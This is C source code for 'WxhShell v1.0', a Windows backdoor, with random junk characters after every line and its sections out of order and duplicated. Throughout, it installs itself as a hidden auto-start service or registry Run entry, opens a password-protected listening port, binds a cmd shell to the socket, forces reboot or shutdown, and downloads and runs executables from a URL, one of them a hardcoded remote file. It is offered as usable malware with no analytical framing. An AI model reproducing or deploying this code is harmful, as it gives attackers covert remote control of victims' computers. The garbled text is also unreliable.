    break; EmFL %++V  
    } -:]-g:;/  
  // 关机 =ICakh!TO  
  case 'd': { ;D>*Pzj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~u^MRe|`  
    if(Boot(SHUTDOWN)) Jv[c?6He  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ypX``3#s7  
    else { 93]67PL#+  
    closesocket(wsh); ]hHL[hoFC  
    ExitThread(0); 9esMr0*=  
    } W! =X _  
    break; xZc].l6  
    } X8uAwHa6F  
  // 获取shell y(92Th$  
  case 's': { 81jVjf?`  
    CmdShell(wsh); .KeZZLH  
    closesocket(wsh); i"Z  
    ExitThread(0); z7$,m#tw  
    break; Z!eW_""wp  
  } tQYkH$e`/{  
  // 退出 }^a" >$DU  
  case 'x': { 0<4Nf]i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kWW$*d$  
    CloseIt(wsh); umJ!j&(  
    break; 41oXOB  
    } Op>l~{{{  
  // 离开 +>*! 3x+sE  
  case 'q': { Eb.k:8?Tn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @;1Ym\zc  
    closesocket(wsh); gAxf5 A_x)  
    WSACleanup(); 1Ht&;V  
    exit(1); kH|cB!?x  
    break; JQ"R%g` 8  
        } g\~n5=-D  
  } Z6\H4,k&  
  } +ebmve \+  
QRFBMq}'  
  // 提示信息 7AouiL 2-W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !QXPn}q^0  
} fnZ?YzLI  
  } Gw@]w;ed  
2T&n6t$p  
  return; X :wfmb  
} :rzq[J^  
&cuDGo.  
// shell模块句柄 Q*K31Ln  
int CmdShell(SOCKET sock) H:5- S  
{ Uz$.sa  
STARTUPINFO si; bZf}m=C!  
ZeroMemory(&si,sizeof(si)); Tk~Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EgB$y"fs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B$D7}=|kc  
PROCESS_INFORMATION ProcessInfo; sn-P&"q  
char cmdline[]="cmd"; "f N=Y$G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #sHt3z)6I  
  return 0; )1iqM]~;B  
} 8H@]v@Z2  
W"[Q=$2<<  
// 自身启动模式 RTQtXv6mD  
int StartFromService(void) -F~"W@9r  
{ ?Jy /]j5fI  
typedef struct 5e|yW0o  
{ ,.,spoV  
  DWORD ExitStatus; 4qvE2W}&  
  DWORD PebBaseAddress; +.pri  
  DWORD AffinityMask; j[Z<|Da  
  DWORD BasePriority; [$e\?c  
  ULONG UniqueProcessId; <; P40jDL  
  ULONG InheritedFromUniqueProcessId; S!6 ? b5  
}   PROCESS_BASIC_INFORMATION; 9?38/2kX4  
:c}"a(|  
PROCNTQSIP NtQueryInformationProcess; u6MHdCJ0y  
}BN!Xa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0 P2lq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P+<4w  
7 <<`9,  
  HANDLE             hProcess; F\Q X=n  
  PROCESS_BASIC_INFORMATION pbi; G:4'')T  
@wPyXl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |y.^F3PE  
  if(NULL == hInst ) return 0; U-:"Wx%G  
>hv8zHOO:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?)V|L~/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M'5PPBSR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6.6;oa4j  
E x )fXQ+  
  if (!NtQueryInformationProcess) return 0; GzEvp  
@Pb%dS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  `;HZO8  
  if(!hProcess) return 0; {'NXJ!I;t  
$i;m9_16  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TW~%1G_v  
/H~]5JZ3-E  
  CloseHandle(hProcess); 3{H&{@Q  
dj2w_:&W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }P\J?8  
if(hProcess==NULL) return 0; kHz?vVE/l  
BG^)?_69  
HMODULE hMod; 7!PU}[:  
char procName[255]; +. tcEbFL  
unsigned long cbNeeded; oZ\zi> Y,  
]Wg&r Y0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z*e`2n#\  
,{Ga7rH*   
  CloseHandle(hProcess); GV8`.3DBOF  
=<[M$"S7d6  
if(strstr(procName,"services")) return 1; // 以服务启动 r8,'LZIz  
XDyFe'1I  
  return 0; // 注册表启动 Oh; V%G  
} TR'<D9kn  
5gKXe4}\/|  
// 主模块 =z*SzG  
int StartWxhshell(LPSTR lpCmdLine) l&{+3aC:  
{ @B9O*x+n:  
  SOCKET wsl; Pj ^O8  
BOOL val=TRUE; ->r udRQ  
  int port=0; mt\pndTy7!  
  struct sockaddr_in door; fRK=y+gl@  
&xE+PfX  
  if(wscfg.ws_autoins) Install(); s8+{##"1 q  
EYR%u'&7'  
port=atoi(lpCmdLine); bltZQI|  
9S/X,|i  
if(port<=0) port=wscfg.ws_port; x \b+B  
siz:YRur  
  WSADATA data; (sp{.bU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;7U"wI_~c  
4vyJ<b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ) ^ 7- qy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1 EwCF  
  door.sin_family = AF_INET; @m+FAdA 0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (V<pz2\  
  door.sin_port = htons(port); Cig! 3  
d~;U-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1EQLsg`d^  
closesocket(wsl); ZsN3 MbY  
return 1; M5c *vs  
}  U92?e}=]  
sNsH l  
  if(listen(wsl,2) == INVALID_SOCKET) { 4XNkto  
closesocket(wsl); seiE2F[  
return 1; `teaE7^Wm  
} %ZT I ?a  
  Wxhshell(wsl); ?6_U>d{  
  WSACleanup(); pGP$2  
u& <NBxY  
return 0; C j:  
'tY y_  
} C^ZD Uj`  
&uXu$)IZ  
// 以NT服务方式启动 N4w&g-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dpkc9~z  
{ g-<[* nF  
DWORD   status = 0; 5@EX,$h  
  DWORD   specificError = 0xfffffff; wpa^]l  
VWW(=j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O#`y;%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jBU!xCO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %B(E;t63W  
  serviceStatus.dwWin32ExitCode     = 0; K}8wCS F  
  serviceStatus.dwServiceSpecificExitCode = 0; J<-2dvq  
  serviceStatus.dwCheckPoint       = 0; T1M>N  
  serviceStatus.dwWaitHint       = 0; B&?xq)%*#  
9&Ny;oy#6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AME<V-5  
  if (hServiceStatusHandle==0) return; T;#:Y  
FB n . 4  
status = GetLastError(); Am=O-; b'8  
  if (status!=NO_ERROR) I 8 Ls_$[  
{ `! _mIh}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X;d 1@G  
    serviceStatus.dwCheckPoint       = 0; vg\fBHzn  
    serviceStatus.dwWaitHint       = 0; oB%j3aAH  
    serviceStatus.dwWin32ExitCode     = status; M7c53fz  
    serviceStatus.dwServiceSpecificExitCode = specificError; .83z =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k@Bn}r  
    return; <zp|i#~  
  } H;Gd  
b ix}#M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SOeRQb'  
  serviceStatus.dwCheckPoint       = 0; ZqfoO!Ta  
  serviceStatus.dwWaitHint       = 0; (5>IF,}!L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cWp5pGIzfp  
} \&4)['4,  
 G`NGt_C  
// 处理NT服务事件,比如:启动、停止 #.|MV}6rQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7-c3^5gn{  
{ X-_0wR  
switch(fdwControl) yTh60U  
{ +?uZ~VSl  
case SERVICE_CONTROL_STOP: 5mg] su&#  
  serviceStatus.dwWin32ExitCode = 0; c{!XDiT]P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vf?m-wh  
  serviceStatus.dwCheckPoint   = 0; XT\Q"=FD  
  serviceStatus.dwWaitHint     = 0; \"l/D?+Q  
  { 2$1D+(5;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0]2@T=*kTY  
  } *7K)J8kq  
  return; 1VB{dgr  
case SERVICE_CONTROL_PAUSE: aKw7m= {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _}Ec[c  
  break; qQe23,x@5  
case SERVICE_CONTROL_CONTINUE: e! 0Y`lQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R![1\Yv&  
  break; MXynv";<H  
case SERVICE_CONTROL_INTERROGATE: z5 :53,`D'  
  break; xB,(!0{`  
}; $<d3g :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WGI4DzKa  
} )Qc>NF0  
v Yw$m#@  
// 标准应用程序主函数 #& &  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;"+]bne~  
{ @mu=7_$U  
D]hwG0Chd  
// 获取操作系统版本 ItwJL`  
OsIsNt=GetOsVer(); )k&!&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B/b S:  
z+X DN:  
  // 从命令行安装 ~jM!8]=  
  if(strpbrk(lpCmdLine,"iI")) Install(); Yjix]lUXVf  
X XC(R  
  // 下载执行文件 U[c^xz&  
if(wscfg.ws_downexe) { jmva0K},SE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 99?: 9g  
  WinExec(wscfg.ws_filenam,SW_HIDE); P~u~`eH*  
} CO"Nv  
kqp*o+Oz',  
if(!OsIsNt) { ~k/GmH  
// 如果时win9x,隐藏进程并且设置为注册表启动 _rfGn,@BH  
HideProc(); 3<ry/{#%  
StartWxhshell(lpCmdLine); ( 2i{8  
} Y1L7sH 9  
else 0 A6% !h  
  if(StartFromService()) 7A4_b8  
  // 以服务方式启动 K5:>  
  StartServiceCtrlDispatcher(DispatchTable); .u&GbM%Ga  
else [TX5O\g![  
  // 普通方式启动 /Pgc W  
  StartWxhshell(lpCmdLine); ^:,I #]  
"[wP1n!G  
return 0; "yc@_+"\+  
} qb >mUS  
V.~C.x  
j$}W%ibj  
dnstm@0k  
===========================================  ~ A4_  
H@BU/{  
+BkmI\  
afj[HJbY  
t^(wbC  
^.(i!BG'  
" ^y3snuLtE  
+4m~D`fqt[  
#include <stdio.h> uz[5h0c  
#include <string.h> mNnt9F3Eq  
#include <windows.h> d9yfSZ  
#include <winsock2.h> f>jAu;S  
#include <winsvc.h> 0j(/N  
#include <urlmon.h> ;8> TD&]{  
"CF{Mu|Q=  
#pragma comment (lib, "Ws2_32.lib") ,-_\Y hY>  
#pragma comment (lib, "urlmon.lib") /\|Behif  
l|'{Cb   
#define MAX_USER   100 // 最大客户端连接数 1g bqHxWI  
#define BUF_SOCK   200 // sock buffer -+Ab[  
#define KEY_BUFF   255 // 输入 buffer s.K Hm L3  
ew\ZFqA;  
#define REBOOT     0   // 重启 Q*l_QnfG  
#define SHUTDOWN   1   // 关机 zua=E2  
jY ~7-  
#define DEF_PORT   5000 // 监听端口 sboX<  
oO~LiK>  
#define REG_LEN     16   // 注册表键长度 3Fl!pq]  
#define SVC_LEN     80   // NT服务名长度 <hM`]/J55  
I+_u?R)$  
// 从dll定义API } 2P,Z6L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tq`rc"&7u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LGF5yRk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #ybtjsu'"U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }='1<~0  
<ZgbmRY8  
// wxhshell配置信息 M3/_E7Qoj  
struct WSCFG { gDBdaxR<  
  int ws_port;         // 监听端口 9 M!J7 W  
  char ws_passstr[REG_LEN]; // 口令 Qlgii_?#@  
  int ws_autoins;       // 安装标记, 1=yes 0=no =RH7j  
  char ws_regname[REG_LEN]; // 注册表键名 3( `NHS~h  
  char ws_svcname[REG_LEN]; // 服务名 O'~;|-Z<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C J#1j>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^E`SR6_cmj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |XoW Z,K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D_)n\(3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C6cEt5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $l<(*,,l  
xcA5  
}; QocR)aN=+  
E4dN,^_ F!  
// default Wxhshell configuration S1oP_A[|  
struct WSCFG wscfg={DEF_PORT, !e0~|8  
    "xuhuanlingzhe", ";$rcg"%X  
    1, yJG M"$  
    "Wxhshell", T`gR&n<D  
    "Wxhshell", tNbZ{=I>  
            "WxhShell Service", %`1 p8>n  
    "Wrsky Windows CmdShell Service", M5>cYVG  
    "Please Input Your Password: ", BT8L'qEj  
  1, N 56/\1R  
  "http://www.wrsky.com/wxhshell.exe", +ZK12D}  
  "Wxhshell.exe" -VVJf5/  
    }; sAec*Q(R  
|SfmQ;  
// 消息定义模块 "[t (u/e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xgV(0H}Mf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,/ bv3pE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HE0@`(mCpa  
char *msg_ws_ext="\n\rExit."; Nn]|#lLP  
char *msg_ws_end="\n\rQuit."; `rLy7\@;  
char *msg_ws_boot="\n\rReboot..."; ROc)LCA  
char *msg_ws_poff="\n\rShutdown..."; #`(-Oj2hH  
char *msg_ws_down="\n\rSave to "; @+P7BE}  
<1(j&U  
char *msg_ws_err="\n\rErr!"; %;-] HI  
char *msg_ws_ok="\n\rOK!"; "{F e  
EmO{lCENk  
char ExeFile[MAX_PATH]; W+&<C#1|]  
int nUser = 0; TCI%Ox|a  
HANDLE handles[MAX_USER]; B(TE?[ #  
int OsIsNt; K~DQUmU@  
] 3UlF'{  
SERVICE_STATUS       serviceStatus; AYnk.H-v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -cqR]'u  
9p{7x[C  
// 函数声明 r{pbUk  
int Install(void); *t3uj  
int Uninstall(void); &W@#p G  
int DownloadFile(char *sURL, SOCKET wsh); P UJkC  
int Boot(int flag); {InD/l'v6n  
void HideProc(void); ap y#8]  
int GetOsVer(void); XD=p:Ezh  
int Wxhshell(SOCKET wsl); Ns}BE H  
void TalkWithClient(void *cs); WY)*3?  
int CmdShell(SOCKET sock); ] eO25,6  
int StartFromService(void); Dq:>]4%  
int StartWxhshell(LPSTR lpCmdLine); +i0j3.  
8pZGu8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lUJ~_`D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )W1tBi  
D`e6#1DbJ  
// 数据结构和表定义 Svun RUE-f  
SERVICE_TABLE_ENTRY DispatchTable[] = Ga M:/.  
{ R@[gkj  
{wscfg.ws_svcname, NTServiceMain}, Q?uHdmY*X  
{NULL, NULL} C@#KZ`c)  
}; N!#0O.6  
aI'MVKwMk  
// 自我安装 TyG;BF|rwk  
int Install(void) UcI;(Va  
{ b|'{f?  
  char svExeFile[MAX_PATH]; ,K>q{H^  
  HKEY key; 4[o/p8*/  
  strcpy(svExeFile,ExeFile); cU  
c?H@HoF  
// 如果是win9x系统,修改注册表设为自启动 e#/SFI0m  
if(!OsIsNt) { 5_ \+8A*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V9%!B3Sb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jM%8h$&E  
  RegCloseKey(key); %Xfy.v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {I:nza  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zlhHSyK  
  RegCloseKey(key); zZ*\v  
  return 0; ^0fe:ac;  
    } Y$\c_#/]  
  } RP1sQ6$  
} [42EqVR  
else { $YztLcn   
r-aCa/4y!  
// 如果是NT以上系统,安装为系统服务 $(=0J*ND"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xb22 :  
if (schSCManager!=0) EK=PY  
{ 7q;wj~  
  SC_HANDLE schService = CreateService Q]7}" B&  
  ( &hco3HfW  
  schSCManager, (aTpBXGr=  
  wscfg.ws_svcname, n=8DC&  
  wscfg.ws_svcdisp, XK=-$2n  
  SERVICE_ALL_ACCESS, ,}jey72/k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IB%Hv]  
  SERVICE_AUTO_START, RAUD8Z  
  SERVICE_ERROR_NORMAL, ~M?^T$5  
  svExeFile, Q GoBugU  
  NULL, %%h0 H[5*  
  NULL, YM<F7tp4  
  NULL, J7Y lmi  
  NULL,  Bl1^\[#  
  NULL 4u}jkd$]*  
  ); o_@6R"|  
  if (schService!=0) W#sCvI@   
  { *Q XUy  
  CloseServiceHandle(schService); Y-fDYMm  
  CloseServiceHandle(schSCManager); Y4j%K~ls Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sG K7Uy  
  strcat(svExeFile,wscfg.ws_svcname); WTX!)H6Zv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d"U'\ID2y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ! a!^'2  
  RegCloseKey(key); 3:ELYn  
  return 0; V|`w/P9g4  
    } g3Z"ri~!G  
  } NS3qNj  
  CloseServiceHandle(schSCManager); 1kdQh&~G  
} 1h,m  
} t*dd/a  
dm`:']?  
return 1; U0fr\kM  
} z5q(  
c)B <d#  
// 自我卸载 9JBVG~m+  
int Uninstall(void) 25wvB@0&  
{ -?Kd[Ma  
  HKEY key; K^f&+`v6_  
]rM HO  
if(!OsIsNt) { S>nf]J`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h'|J$   
  RegDeleteValue(key,wscfg.ws_regname); =OR "Bd:O  
  RegCloseKey(key); <S@XK%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >m'n#=yap  
  RegDeleteValue(key,wscfg.ws_regname); jx[g;7~X  
  RegCloseKey(key); 3`U^sr:[%  
  return 0; oF {u  
  } -(1GmU5v(  
} D9/PVd&#  
} OkfnxknZ|  
else { qku}cWD9/_  
-kkp Ew\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L/*K4xQ  
if (schSCManager!=0) ^6i,PRScS  
{ d6vls7J/4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q=n2frW(T  
  if (schService!=0)  Lxqv  
  { K1_#Jhz  
  if(DeleteService(schService)!=0) { Kk|4  
  CloseServiceHandle(schService); gBd@4{y6C.  
  CloseServiceHandle(schSCManager); 7j~}M(s"  
  return 0; &{z RuF  
  } (>M? iB  
  CloseServiceHandle(schService); Gq0Q}[53  
  } I|/\L|vo  
  CloseServiceHandle(schSCManager); j&w4yY  
} o|bm=&f  
} FQqk+P!  
V PaW-o  
return 1; rPXy(d1<`S  
} ;JV(!8[  
3\E G  
// 从指定url下载文件 >NMq^J'/  
int DownloadFile(char *sURL, SOCKET wsh) Gm.2!F=R4A  
{ }y&tF'qG  
  HRESULT hr; 4B$|UG  
char seps[]= "/"; !63]t?QXMG  
char *token; owKOH{otf  
char *file; +LB2V3UZ  
char myURL[MAX_PATH]; zya2 O?s  
char myFILE[MAX_PATH]; -4LckY=]1  
" gQJeMU  
strcpy(myURL,sURL); :@]%n~x  
  token=strtok(myURL,seps); wNQhg  
  while(token!=NULL) ? uu,w  
  { X3Yi|dyn T  
    file=token; 'wd&O03&  
  token=strtok(NULL,seps); `FHKQS5  
  } ?my2dd,|  
)=5 ,S~IT  
GetCurrentDirectory(MAX_PATH,myFILE); rPUk%S  
strcat(myFILE, "\\"); J e.%-7f  
strcat(myFILE, file); o%)38T*n3  
  send(wsh,myFILE,strlen(myFILE),0); [/GCy0jk  
send(wsh,"...",3,0); n?}7vz;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }[b3$WZ  
  if(hr==S_OK) i>{.Y};  
return 0; DTo P|P  
else Ac8t>;=&  
return 1; E:ti]$$  
x't@Mc  
} Sgq" 3(+%,  
Bh5z4  
// 系统电源模块 0+3{fD/  
int Boot(int flag) 6)[gF 1  
{ u}eLf'^ZCe  
  HANDLE hToken; mJ JF  
  TOKEN_PRIVILEGES tkp; -W.bOr  
Wo+^R%K' 4  
  if(OsIsNt) { Y^-D'2P]P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "/0Vvy_|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L7PM am  
    tkp.PrivilegeCount = 1; W_RN@O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,lb >  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^2 \-zX!bt  
if(flag==REBOOT) { ,?(U4pzX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f?W"^6Df  
  return 0; 5KC Zg'h  
} l dw!G/  
else { W,bu=2K6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bTc^ huP  
  return 0; MwTouEGGgA  
} P]<15l  
  } DT[WO_=  
  else { o|Kd\<rY  
if(flag==REBOOT) { bA02)?L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \%Lj !\  
  return 0; @YHt[>*S  
} DsCbMs=Y  
else { {4YD_$4W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e {805^X}  
  return 0; X3R:^ff\  
} DyM<aT  
} h {VdW}g  
K8 Hj)$E61  
return 1; #8r1<`']!  
} )(-aw,i K  
1a_;(T  
// win9x进程隐藏模块 S0H|:J  
void HideProc(void) 4GG0jCNk  
{ }.N~jx0R  
6!Uk c'r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ()(^B}VK  
  if ( hKernel != NULL ) 0 LQ%tn  
  { CS\8ej}y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )*nZ6Cg'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {-1N@*K  
    FreeLibrary(hKernel); 'H-hp   
  } YYF.0G}  
0S&C[I o6  
return; K96N{"{iI%  
} _3zJ.%  
sGO+O$J  
// 获取操作系统版本 i0'g$  
int GetOsVer(void) F!zGk(Pu  
{ =k##*%  
  OSVERSIONINFO winfo; {Lugdf'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?eDZ-u9)  
  GetVersionEx(&winfo); &EJ/Rl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 79Ur1-]/  
  return 1; vf?Xt  
  else GsU.Lkf  
  return 0; bwe)_<c  
} 9v?rNJs  
}#phNn6  
// 客户端句柄模块 R#4f_9e<Z  
int Wxhshell(SOCKET wsl) Mw|lEctN0  
{ hp$1c  
  SOCKET wsh; p Cgm!t?/  
  struct sockaddr_in client; 0y3C />a  
  DWORD myID; DqA$%b yyE  
}gKY_e3  
  while(nUser<MAX_USER) bJ^Jmb  
{ K)GpQ|4:<  
  int nSize=sizeof(client); ?^WX] SAl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5V8`-yO9  
  if(wsh==INVALID_SOCKET) return 1; cp2a @  
A@jBn6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #@m6ag.  
if(handles[nUser]==0) J+l#!gk$!  
  closesocket(wsh); &Xh=bM'/%m  
else uTNy{RBD+  
  nUser++; uoTc c|Kc  
  } A9y@v{txN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]sJjV A  
Uj^Y\w-@Z  
  return 0; j+[oZfH  
} |}Mthj9n  
^+x,211f  
// 关闭 socket ]-jaIvM  
void CloseIt(SOCKET wsh) 5? *Iaw  
{ 4@=[r Zb9  
closesocket(wsh); P5__[aTD  
nUser--; 00pe4^U  
ExitThread(0); x\8gb#8  
} zQoJ8i>  
R~BFZF>:  
// 客户端请求句柄 _7<G6q2(  
void TalkWithClient(void *cs) {EJ+   
{ FTu<$`!1L  
&Z%'xAOGR  
  SOCKET wsh=(SOCKET)cs; *1h@Jb34  
  char pwd[SVC_LEN]; 0u bf]Z  
  char cmd[KEY_BUFF]; SK 5__Ix  
char chr[1]; zvwv7JtB  
int i,j; }ISR +./+  
qRXHaQi@9  
  while (nUser < MAX_USER) { jQ['f\R  
|8fdhqy_  
if(wscfg.ws_passstr) { #>2cfZ`6'J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JPpNCC.b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \`W8#fob  
  //ZeroMemory(pwd,KEY_BUFF); j43i:c;F  
      i=0; rh T!8dTk  
  while(i<SVC_LEN) { 74a k|(!  
* yGlX[  
  // 设置超时 '![VA8  
  fd_set FdRead; ~?B\+6<V  
  struct timeval TimeOut; #J~xKyJi'  
  FD_ZERO(&FdRead); ;}'Z2gZ B  
  FD_SET(wsh,&FdRead); Q}uh`?t  
  TimeOut.tv_sec=8; wsgT`M'J[  
  TimeOut.tv_usec=0; Yu:($//w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o(D6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]W7&ZpF  
Si68_]:^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n/^QPR$>.  
  pwd=chr[0]; }[OEtd{  
  if(chr[0]==0xd || chr[0]==0xa) { H>wXQ5?W;  
  pwd=0; D0yH2[j+  
  break; T#a6X;9P  
  } S"/gZfxer  
  i++; 9#a/at]  
    } $x2G/5?  
mxICQ>s b  
  // 如果是非法用户,关闭 socket 1-PFM-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W=4|ahk$  
} Lbu,VX  
Vk%W4P"l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j#${L6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Q t1~#1  
R^rA.7T  
while(1) { ).jna`A,  
qot {#tk d  
  ZeroMemory(cmd,KEY_BUFF); w[J.?v&^  
 (Kj>Ao  
      // 自动支持客户端 telnet标准   #-/_J?  
  j=0; 4Yd$RP  
  while(j<KEY_BUFF) { |UN#utw{^Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A/.z. K  
  cmd[j]=chr[0]; >Sm#-4B-  
  if(chr[0]==0xa || chr[0]==0xd) { Ca0t}`<S  
  cmd[j]=0; i8.OM*[f  
  break; RY*yj&?w [  
  } e r"gPW  
  j++; `3.bux~  
    } 2G$-:4B  
9HAK  
  // 下载文件 Hr/J6kyB)  
  if(strstr(cmd,"http://")) { Z$S0X $q}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B|SX?X  
  if(DownloadFile(cmd,wsh)) E#n: d9WA:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0g&=k{OD  
  else \8`^QgV`@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kp*BAQ  
  } /_r{7Gq.  
